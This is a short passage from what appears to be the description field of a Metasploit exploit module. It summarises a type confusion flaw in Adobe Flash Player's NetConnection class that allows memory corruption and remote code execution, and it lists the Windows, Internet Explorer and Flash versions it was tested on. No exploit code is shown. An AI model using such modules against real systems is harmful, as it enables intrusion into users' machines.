'Description' => %q{
This module exploits a type confusion vulnerability in the NetConnection class on
Adobe Flash Player. When using a correct memory layout this vulnerability allows
to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like
vectors, and finally accomplish remote code execution. This module has been tested
successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305.
